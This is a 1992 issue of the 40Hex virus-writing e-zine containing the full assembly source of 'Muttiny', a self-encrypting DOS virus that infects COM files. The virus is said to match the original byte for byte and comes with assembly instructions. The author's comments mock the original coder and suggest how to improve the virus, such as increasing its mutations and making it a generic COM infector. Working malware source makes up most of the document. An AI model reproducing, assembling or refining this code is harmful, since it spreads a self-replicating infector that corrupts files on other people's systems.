home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_7.004 < prev    next >
Text File  |  1995-01-03  |  13KB  |  289 lines

  1. 40Hex Number 7 Volume 2 Issue 3                                       File 004
  2.  
  3. I picked up a file touted as "a very small virus" and decided to figure out
  4. what this virus could be.  SCAN86-B turned up nothing, so I had to disassemble
  5. it.  The name was intriguing -- muttiny.  I thought it was a misspelling of
  6. mutiny, but I was terribly wrong.  After a minute, I had infected a carrier
  7. file and decrypted the virus.  It took but one minute more to disassemble and
  8. maybe half an hour to comment.  Argh!  It is yet another TINY strain!
  9.  
  10. I do not know who the author is, but I had a few comments to make.  This virus,
  11. quite frankly, sucks.  It is a pitiful excuse for programming.  Many, many
  12. improvements can be made.  I have put comments on how this virus could be made
  13. much mo' bettah.  I must tell whoever wrote the virus that TINY is not so tiny
  14. anymore.  The original TINYs were 150 bytes long.  Now look at it!  It is over
  15. twice that size!  I suppose this virus is the "MUTated TINY" variant, but I'd
  16. prefer to call it "Messed Up Totally TINY".  The author MUST clean up the
  17. virus before distributing it to everyone!  One further improvement would be to
  18. make this virus a generic COM infector, which can be done in well under 200
  19. bytes, with all the "functionality" of the current version.  Note that this
  20. time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested
  21. improvements.  This way, you can easily see the bugs for yourself and learn
  22. from the author's pitfalls.
  23.  
  24.               Dark Angel of PHALCON/SKISM     4/23/92
  25.  
  26. P.S. This is a byte-to-byte match of the virus I picked up -- even the
  27.      labels are in their correct offsets.  The file below should match
  28.      the source code of the original carrier file exactly. Assemble w/
  29.      TASM /m2.
  30.  
  31. P.P.S. This is the last Tiny strain to be published in 40Hex. For some
  32.      Reason, Tiny strains seem to come up again and again over here. I
  33.      think it is hightime to put the Tiny series in its grave where it
  34.      belongs.  Amen.  So be it.                                     DA
  35.  
  36. muttiny         segment byte public
  37.                 assume  cs:muttiny, ds:muttiny
  38.  
  39.                 org     100h
  40.  
  41. start:          db      0e9h, 5, 0              ; jmp     startvir
  42. restorehere:    int     20h
  43. idword:         dw      990h
  44. ; The next line is incredibly pointless. It is a holdover from one
  45. ; of the original TINYs, where the id was 7, 8, 9.  The author can
  46. ; easily save one byte merely by deleting this line.
  47.                 db      09h
  48. startvir:
  49.                 call    oldtrick                ; Standard location-finder
  50. oldtrick:       pop     si
  51. ; The following statement is a bug -- well, not really a bug, just
  52. ; extraneous code.  The value pushed on the stack in the following
  53. ; line is NEVER popped off. This is messy programming, as one byte
  54. ; could be saved by removing the statement.
  55.                 push    si
  56.                 sub     si,offset oldtrick
  57.                 call    encrypt                 ; Decrypt virus
  58.                 call    savepsp                 ;  and save the PSP
  59. ; NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
  60. ;        See the procedures at the end for further details.
  61.                 jmp     short findencryptval    ; Go to the rest of the virus
  62. ; The next line is another example of messy programming -- it is a
  63. ; NOP inserted by MASM during assembly.  Running this file through
  64. ; TASM with the /m2 switch should eliminate such "fix-ups."
  65.                 nop
  66. ; The next line leaves me guessing as to the author's true intent.
  67.                 db      0
  68.  
  69. encryptval      dw      0h
  70.  
  71. encrypt:
  72.                 push    bx                      ; Save handle
  73. ; The following two lines of code could be condensed into one:
  74. ;       lea bx, [si+offset startencrypt]
  75. ; Once again, poor programming style, though there's nothing wrong
  76. ; with the code.
  77.                 mov     bx,offset startencrypt
  78.                 add     bx,si
  79. ; Continueencrypt is implemented as a jmp-type loop. Although it's
  80. ; fine to code it this way, it's probably easier to code using the
  81. ; loop statement.  Upon close inspection, one finds the loop to be
  82. ; flawed. Note the single inc bx statement. This essentially makes
  83. ; the encryption value a a byte instead of a word, which decreases
  84. ; the number of mutations from 65,535 to 255.  Once again, this is
  85. ; just poor programming, very easily rectified with another inc bx
  86. ; statement. Another optimization could be made.  Use a
  87. ;       mov dx, [si+encryptval]
  88. ; to load up the encryption value before the loop, and replace the
  89. ; three lines following continueencrypt with a simple:
  90. ;       xor word ptr [bx], dx
  91. continueencrypt:
  92.                 mov     ax,[bx]
  93.                 xor     ax,word ptr [si+encryptval]
  94.                 mov     [bx],ax
  95.                 inc     bx
  96. ; The next two lines should be executed BEFORE continueencrypt. As
  97. ; it stands right now, they are recalculated every iteration which
  98. ; slows down execution somewhat. Furthermore, the value calculated
  99. ; is much too large and this increases execution time. Yet another
  100. ; improvement would be the merging of the mov/add pair to the much
  101. ; cleaner lea cx, [si+offset endvirus].
  102.                 mov     cx,offset veryend       ; Calculate end of
  103.                 add     cx,si                   ; encryption: Note
  104.                 cmp     bx,cx                   ; the value is 246
  105.                 jle     continueencrypt         ; bytes too large.
  106.                 pop     bx
  107.                 ret
  108. writerest:                                      ; Tack on the virus to the
  109.                 call    encrypt                 ; end of the file.
  110.                 mov     ah,40h
  111.                 mov     cx,offset endvirus - offset idword
  112.                 lea     dx,[si+offset idword]   ; Write starting from the id
  113.                 int     21h                     ; word
  114.                 call    encrypt
  115.                 ret
  116.  
  117. startencrypt:
  118. ; This is where the encrypted area begins.  This could be moved to
  119. ; where the ret is in procedure writerest, but it is not necessary
  120. ; since it won't affect the "scannability" of the virus.
  121.  
  122. findencryptval:
  123.                 mov     ah,2Ch                  ; Get random #
  124.                 int     21h                     ; CX=hr/min dx=sec
  125. ; The following chunk of code puzzles me. I admit it, I am totally
  126. ; lost as to its purpose.
  127.                 cmp     word ptr [si+offset encryptval],0
  128.                 je      step_two
  129.                 cmp     word ptr [si+offset encryptval+1],0
  130.                 je      step_two
  131.                 cmp     dh,0Fh
  132.                 jle     foundencryptionvalue
  133. step_two:                                       ; Check to see if any
  134.                 cmp     dl,0                    ; part of the encryption
  135.                 je      findencryptval          ; value is 0 and if so,
  136.                 cmp     dh,0                    ; find another value.
  137.                 je      findencryptval
  138.                 mov     [si+offset encryptval],dx
  139. foundencryptionvalue:
  140.                 mov     bp,[si+offset oldjmp]   ; Set up bp for
  141.                 add     bp,103h                 ; jmp later
  142.                 lea     dx,[si+filemask]        ; '*.COM',0
  143.                 xor     cx,cx                   ; Attributes
  144.                 mov     ah,4Eh                  ; Find first
  145. tryanother:
  146.                 int     21h
  147.                 jc      quit_virus              ; If none found, exit
  148.  
  149.                 mov     ax,3D02h                ; Open read/write
  150.                 mov     dx,9Eh                  ; In default DTA
  151.                 int     21h
  152.  
  153.                 mov     cx,3
  154.                 mov     bx,ax                   ; Swap file handle register
  155.                 lea     dx,[si+offset buffer]
  156.                 mov     di,dx
  157.                 call    read                    ; Read 3 bytes
  158.                 cmp     byte ptr [di],0E9h      ; Is it a jmp?
  159.                 je      infect
  160. findnext:
  161.                 mov     ah,4Fh                  ; If not, find next
  162.                 jmp     short tryanother
  163. infect:
  164.                 mov     ax,4200h                ; Move file pointer
  165.                 mov     dx,[di+1]               ; to jmp location
  166.                 mov     [si+offset oldjmp],dx   ; and save old jmp
  167.                 xor     cx,cx                   ; location
  168.                 call    int21h
  169.                 jmp     short skipcheckinf
  170. ; Once again, we meet an infamous MASM-NOP.
  171.                 nop
  172. ; I don't understand why checkinf is implemented as a procedure as
  173. ; it is executed but once.  It is a waste of code space to do such
  174. ; a thing. The ret and call are both extra, wasting four bytes. An
  175. ; additional three bytes were wasted on the JMP skipping checkinf.
  176. ; In a program called "Tiny," a wasted seven bytes is rather large
  177. ; and should not exist.  I have written a virus of half the length
  178. ; of this virus which is a generic COM infector. There is just too
  179. ; too much waste in this program.
  180. checkinf:
  181.                 cmp     word ptr [di],990h      ; Is it already
  182.                 je      findnext                ; infected?
  183. ; The je statement above presents another problem. It leaves stuff
  184. ; on the stack from the call.  This is, once again, not a critical
  185. ; error but nevertheless it is extremely sloppy behavior.
  186.                 xor     dx,dx
  187.                 xor     cx,cx
  188.                 mov     ax,4202h
  189.                 call    int21h                  ; Goto end of file
  190.                 ret
  191. skipcheckinf:
  192.                 mov     cx,2
  193.                 mov     dx,di
  194.                 call    read                    ; read 2 bytes
  195.                 call    checkinf
  196. ; The next check is extraneous.  No COM file is larger than 65,535
  197. ; bytes before infection simply because it is "illegal."  Yet ano-
  198. ; ther waste of code.  Even if one were to use this useless check,
  199. ; it should be implemented, to save space, as or dx, dx.
  200.                 cmp     dx,0                    ; Check if too big
  201.                 jne     findnext
  202.  
  203.                 cmp     ah,0FEh                 ; Check again if too big
  204.                 jae     findnext
  205.                 mov     [si+storejmp],ax        ; Save new jmp
  206.                 call    writerest               ;     location
  207.                 mov     ax,4200h                ; Go to offset
  208.                 mov     dx,1                    ; 1 in the file
  209.                 xor     cx,cx
  210.                 call    int21h
  211.  
  212.                 mov     ah,40h                  ; and write the new
  213.                 mov     cx,2                    ; jmp location
  214.                 lea     dx,[si+storejmp]
  215.                 call    int21h
  216. ; I think it is quite obvious that the next line is pointless.  It
  217. ; is a truly moronic waste of two bytes.
  218.                 jc      closefile
  219. closefile:
  220.                 mov     ah,3Eh                  ; Close the file
  221.                 call    int21h
  222. quit_virus:
  223.                 call    restorepsp
  224.                 jmp     bp
  225.  
  226. read:
  227.                 mov     ah,3Fh                  ; Read file
  228. ; I do not understand why all the int 21h calls are done with this
  229. ; procedure.  It is a waste of space. A normal int 21h call is two
  230. ; bytes long while it's three bytes just to call this procedure!
  231. int21h:
  232.                 int     21h
  233.                 ret
  234.  
  235.                 db      'Made in England'
  236.  
  237. ; Note: The comments for savepsp also apply to restorepsp.
  238.  
  239. ; This code could have easily been changed to a set active DTA INT
  240. ; 21h call (AH = 1Ah).  It would have saved many, many bytes.
  241.  
  242. savepsp:
  243.                 mov     di,0
  244. ; The following is a bug.  It should be
  245. ;       mov cx, 50h
  246. ; since the author decided to use words instead of bytes.
  247.                 mov     cx,100h
  248.                 push    si
  249. ; The loop below is dumb.  A simple rep movsw statement would have
  250. ; sufficed.  Instead, countless bytes are wasted on the loop.
  251. storebytes:
  252.                 mov     ax,[di]
  253.                 mov     word ptr [si+pspstore],ax
  254.                 add     si,2
  255.                 add     di,2
  256.                 loop    storebytes
  257.                 pop     si
  258.                 ret
  259.  
  260. restorepsp:
  261.                 mov     di,0
  262.                 mov     cx,100h                 ; Restore 200h bytes
  263.                 push    si
  264. restorebytes:
  265.                 mov     ax,word ptr [si+pspstore]
  266.                 mov     [di],ax
  267.                 add     si,2
  268.                 add     di,2
  269.                 loop    restorebytes
  270.                 pop     si
  271.                 ret
  272.  
  273. oldjmp          dw      0
  274. filemask        db      '*.COM',0
  275. idontknow1      db      66h                     ; Waste of one byte
  276. buffer          db      00h, 00h, 01h           ; Waste of three bytes
  277. storejmp        dw      0                       ; Waste of two bytes
  278. ; endvirus should be before idontknow1, thereby saving six bytes.
  279. endvirus:
  280. idontknow2      db      ?, ?
  281. pspstore        db      200 dup (?)             ; Should actually be
  282. idontknow3      db      2ch dup (?)             ; 100h bytes long.
  283. veryend:                                        ; End of encryption
  284. muttiny         ends
  285.                 end     start
  286.  
  287.  
  288. Downloaded From P-80 International Information Systems 304-744-2253
  289.